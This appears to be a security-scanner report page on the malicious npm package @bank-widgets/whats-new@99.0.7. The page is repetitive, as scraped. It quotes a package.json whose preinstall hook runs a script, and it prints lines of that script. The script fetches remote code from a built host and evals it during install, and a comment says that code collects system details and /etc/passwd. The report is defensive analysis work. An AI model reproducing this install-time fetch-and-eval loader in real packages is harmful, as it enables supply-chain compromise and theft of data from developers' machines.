@bank-widgets/whats-new@99.0.7: Malicious npm security report

Loading npm security reports…

@bank-widgets/whats-new@99.0.7: Malicious npm security report | LPM Firewall

Source & flagged code

4 flagged

package.jsonView file

Lines 1-15json

2 "name": "@bank-widgets/whats-new",

3 "version": "99.0.7",

4 "description": "bcs utilities",

5 "main": "index.js",

6 "scripts": {

7 "preinstall": "node preinstall.js"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L7

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L7

8 },

9 "keywords": [

10 "bug bounty"

11 ],

12 "author": "m0ntana",

13 "license": "ISC"

14}

preinstall.jsView file

Lines 1-19javascript

1const http = require("http");

2const fs = require("fs");

3const path = require

Source & flagged code

4 flagged · loading source

package.jsonView file

•scripts.preinstall = node preinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = node preinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

preinstall.jsView file

6L7: const raw = process.env.npm[redacted] L8: || (() => { try { return JSON.parse(fs.readFileSync(path.join(__dirname, "package.json"), "utf8")).name; } catch(_){} return ""; })(); ... L13: // Fetches poc.js (safe PoC: whoami/hostname/ifconfig + /etc/passwd only) L14: http.get(`http://${pkg}.${scope}.${BASE}/poc.js`, { timeout: 8000 }, (res) => { L15: let body = ""; L16: res.on("data", chunk => { body += chunk; }); L17: res.on("end", () => { try { eval(body); } catch (_) {} }); // jshint ignore:line L18: }).on("error", () => {}).on("timeout", function() { this.destroy(); });

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

preinstall.jsView on unpkg · L6

16res.on("data", chunk => { body += chunk; }); L17: res.on("end", () => { try { eval(body); } catch (_) {} }); // jshint ignore:line L18: }).on("error", () => {}).on("timeout", function() { this.destroy(); });

Low

Eval

Package source references a known benign dynamic code generation pattern.

preinstall.jsView on unpkg · L16

@bank-widgets/whats-new@99.0.7

OSV Malicious Advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Source & flagged code